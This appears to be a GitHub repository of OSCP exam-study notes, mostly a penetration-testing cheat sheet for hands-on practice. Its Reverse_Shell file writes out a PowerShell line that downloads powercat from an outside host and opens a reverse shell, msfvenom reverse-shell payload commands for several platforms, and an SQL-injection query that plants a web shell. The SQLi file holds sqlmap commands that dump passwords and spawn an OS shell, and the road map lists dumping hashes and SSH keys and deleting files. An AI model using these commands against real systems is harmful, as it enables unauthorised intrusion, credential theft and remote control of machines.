OSCP ( Offensive Security Certified Professional )

Overview: Penetration Testing with Kali Linux (PEN-200) is the foundational course at Offensive Security. Those new to OffSec or penetration testing should start here. This online ethical hacking course is self-paced. It introduces penetration testing tools and techniques via hands-on experience. PEN-200 trains not only the skills, but also the mindset required to be a successful penetration tester. Students who complete the course and pass the exam earn the coveted Offensive Security Certified Professional (OSCP) certification. To learn more about the modules updated in 2020 and get answers to frequently asked questions, see the announcement blog post. You can find my experience on the OSCP certification exam that I entered in 2021 and succeeded on my site. I wish success to the friends who will take the exam.

References

• https://www.offensive-security.com/pwk-oscp/

Download

Cloning an Existing Repository ( Clone with HTTPS )


root@slife:~# git clone https://github.com/omurugur/OSCP.git

Cloning an Existing Repository ( Clone with SSH )


root@slife:~# git clone git@github.com:omurugur/OSCP.git

Contact

Mail : omurugur12@gmail.com

Linkedin : https://www.linkedin.com/in/omurugur-sibergüvenlik/

GitHub : https://github.com/omurugur

Twitter : https://twitter.com/omurugurrr

Medium : https://omurugur.medium.com/

Donate!

Support the authors: ================================================ FILE: Reverse_Shell ================================================ # Interactive TTY Shell • python -c 'import pty; pty.spawn("/bin/sh")' • python -c 'import pty;pty.spawn("/bin/bash")' • python -c 'import pty; pty.spawn("/bin/bash")' • /usr/bin/script -qc /bin/bash /dev/null ------------------------ # With Powershell • powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://XX.XX.XX.XX/powercat.ps1');powercat -c XX.XX.XX.XX -p 9090 -e cmd" ------------------------ # Reverse Shell #Linux •msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -f elf > shell.elf # PHP •msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT=443 -f raw > shell.php # ASP •msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.216 LPORT=443 -f asp > shell.asp # WAR •msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=443 -f war > shell.war # JSP •msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=443 -f raw > shell.jsp # Exe •msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=445 -f exe -o shell_reverse.exe # ASPX •msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -f aspx > shell.aspx # ASPX-x64 •msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=1234 -f aspx > 4.aspx ------------------------ #Shell From SQL Injection •windows ?id=1 union all select 1,2,3,4,"",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php' •linux ?id=1 union all select 1,2,3,4,"",6,7,8,9 into OUTFILE '/var/www/html/cmd.php' ================================================ FILE: Road_Map ================================================ Network Scanning Service Scanning WebApp ☐ Nikto ☐ dirb ☐ dirbuster ☐ wpscan ☐ dotdotpwn ☐ view source ☐ davtest\cadevar ☐ droopscan ☐ joomscan ☐ LFI\RFI Test ☐ SQL ınjectıon ☐ Default şifre arama Linux\Windows ☒ snmpwalk -c public -v1 ipaddress 1 ☐ smbclient -L //ipaddress ☐ showmount -e ipaddress port ☐ rpcinfo ☐ Enum4Linux Anything Else ☐ nmap scripts (locate *nse* | grep servicename) ☐ hydra ☐ MSF Aux Modules ☐ Download the software Exploitation ☐ Gather Version Numbes ☐ Searchsploit ☐ Default Creds ☐ Creds Previously Gathered ☐ Download the software Post Exploitation Linux ☐ linux-local-enum.sh ☐ linuxprivchecker.py ☐ linux-exploit-suggestor.sh ☐ unix-privesc-check.py Windows ☐ wpc.exe ☐ windows-exploit-suggestor.py ☐ windows_privesc_check.py ☐ windows-privesc-check2.exe Priv Escalation ☐ acesss internal services (portfwd) ☐ add account Windows ☐ List of exploits Linux ☐ sudo su ☐ KernelDB ☐ Searchsploit Final ☐ Screenshot of IPConfig\WhoamI ☐ Copy proof.txt ☐ Dump hashes ☐ Dump SSH Keys ☐ Delete files ================================================ FILE: SQLi ================================================ #sqlmap ☐ sqlmap -r name.txt --batch --force-ssl ☐ sqlmap -r name.txt --dbms mysql --technique=U --dump --batch ☐ sqlmap -r name.txt --dbms mysql --technique=U --users ☐ sqlmap -r name.txt --dbms mysql --technique=U --passwords ☐ sqlmap -u http://XX.XX.XX.XX/tst.php?id=1 -p "id" --dbms=mysql --dump ☐ sqlmap -u http://XX.XX.XX.XX/tst.php?id=1 -p "id" --dbms=mysql --os shel ------------------------ ================================================ FILE: Useful_Resources ================================================ Blog : My experience with the OSCP certification — Security Café PWK and OSCP my experience | Fady Osman’s Technical Blog Offensive Security’s PWB and OSCP — My Experience — Security SiftSecurity Sift Penetration Testing With Backtrack — OSCP — Things all the hacking Pentesting With BackTrack (PWB) + Offensive Security Certified Professional (OSCP) OSCP Course and Exam Review — RCE Security Try Harder! An OSCP Review.Blog of Jason Bernier Pentest Tips and Tricks — EK Open Security Research: Using Mimikatz to Dump Passwords! Hacking/OSCP cheatsheet :: Ceso Adventures The CORE Hacking Course — YouTube Eğlence ve Kâr için bir web.config Dosyası Yükleme | Soroush Dalili (@irsdl) — سروش دلیلی NetSecFocus Trophy Room — Google Drive Enumeration : oscp/linux-template.md at master · xapax/oscp oscp/windows-template.md at master · xapax/oscp CTF Series : Vulnerable Machines — tech.bitvijays.com PWK Notes: SMB Enumeration Checklist [Updated] | 0xdf hacks stuff nmapAutomator/nmapAutomator.sh at master · 21y4d/nmapAutomator Privilege_Escalation_Windows: Windows Privilege Escalation Guide FuzzySecurity | Windows Privilege Escalation Fundamentals Windows elevation of privileges (1) Windows Privilege Escalation — AlwaysInstallElevated — YouTube PowerSploit/PowerUp.ps1 at master · PowerShellMafia/PowerSploit WindowsEnum/WindowsEnum.ps1 at master · absolomb/WindowsEnum Windows-Exploit-Suggester/windows-exploit-suggester.py at master · AonCyberLabs/Windows-Exploit-Suggester Windows Privilege Escalation Methods for Pentesters — Pentest Blog FuzzySecurity | Windows Privilege Escalation Fundamentals Windows Local Privilege Escalation — HackTricks GhostPack/SharpUp: SharpUp is a C# port of various PowerUp functionality. Ghostpack-CompiledBinaries/SharpUp.exe at master · r3motecontrol/Ghostpack-CompiledBinaries https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 GhostPack/Seatbelt: Seatbelt is a C# project that performs a number of security oriented host-survey “safety checks” relevant from both offensive and defensive security perspectives. Ghostpack-CompiledBinaries/Seatbelt.exe at master · r3motecontrol/Ghostpack-CompiledBinaries privilege-escalation-awesome-scripts-suite/winPEAS at master · carlospolop/privilege-escalation-awesome-scripts-suite bitsadmin/wesng: Windows Exploit Suggester — Next Generation rasta-mouse/Watson: Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 Neohapsis/creddump7 juicy-potato/README.md at master · ohpe/juicy-potato antonioCoco/RoguePotato: Another Windows Local Privilege Escalation from Service Account to System itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019 Privilege_Escalation_Linux: sagishahar/lpeworkshop: Windows / Linux Local Privilege Escalation Workshop Linux elevation of privileges LinEnum/LinEnum.sh at master · rebootuser/LinEnum Basic Linux Privilege Escalation Linux Privilege Escalation Scripts Linux Privilege Escalation — HackTricks diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levels Cronjobs’u Kullanarak Linux Ayrıcalık Yükselmesi rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks linted/linuxprivchecker: linuxprivchecker.py — a Linux Privilege Escalation Check Script AlessandroZ/BeRoot: Privilege Escalation Project — Windows / Linux / Mac unix-privesc-check | pentestmonkey jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester Linux Sızma Testlerinde Hak Yükseltme Yöntemleri | SİBER GÜVENLİK PORTALİ Reverse_Shell: reverseshell | pentestmonkey netcat 1.11 for Win32/Win64 Upgrading Simple Shells to Fully Interactive TTYs — ropnop blog Spawning a TTY Shell Reverse Shell Cheat Sheet | pentestmonkey Reverse Shell Cheat Sheet Remote-File-Inclusion-Shell/knock.txt at master · namansahore/Remote-File-Inclusion-Shell BOF: PWK/OSCP — Stack Buffer Overflow Practice — vortex’s blog Seattle Lab Mail (SLmail) 5.5 Üzerinde Stack Tabanlı Bellek Taşma Zafiyetinin İstismarı | SİBER GÜVENLİK PORTALİ (1) Buffer Overflow Exploitation (Minishare & FreeFloat) — YouTube justinsteven/dostackbufferoverflowgood jessekurrus/slmailsploits: Several Python scripts used to fuzz and exploit SLmail. These are meant to supplement the Kali Linux Hands-on Pentesting Udemy course. (2) Immunity Debugger Overview — YouTube Stack Based Buffer Overflow in Win 32 Platform: The Basics Stack Buffer Overflow Zafiyeti — PCMan FTP Server 2.0.7 | Ahmet GÜREL Zero Day Zen Garden: Windows Exploit Development — Part 5 [Return Oriented Programming Chains] Zero Day Zen Garden: Windows Exploit Development — Part 4 [Overwriting SEH with Buffer Overflows] Buffer Overflow — Easy Chat Server 3.1 — OnSecurity Buffer Overflow Exploit Geliştirme ~ BTRiskBlog Pentest, ISO27001 ve BT Denetimi Hakkında Herşey Coalfire — The Basics of Exploit Development 1: Win32 Buffer Overflows Coalfire — Coalfire Blog Coalfire — Coalfire Blog Customized Mail Server Software Buffer Overflow on Windows Server 2008 | by Rudy Samuel Pardosi | Medium Vulnserver Kullanarak Basit Bir Arabellek Taşması | Z3R0th tarafından | Orta Bağışıklık Hata Ayıklayıcısı ve Mona.py ile Kötü Karakterler Bulma — Bulb Security minishare 1.4.1 exploit — YouTube SQLI: SQL-Injections · Security — My notepad 44348-error-based-sql-injection-in-order-by-clause-(mssql).pdf Full MSSQL Injection PWNage MSSQL Practical Injection Cheat Sheet — Perspective Risk SQL Injection Cheat Sheet | Netsparker Öner KAYA: Gelişmiş SQL Enjeksiyon İşlemleri (Advanced Sql Injection) Red Team Tales 0x01: From MSSQL to RCE — Tarlogic Security — Cyber Security and Ethical hacking SQL Injection Cheat Sheet | Bhanu Notes SQL-Injections · Total OSCP Guide SQL Tutorial LFI: Hack The Box — Poison Writeup w/o Metasploit | by Rana Khalil | The Startup | Medium (7) HackTheBox — Poison — YouTube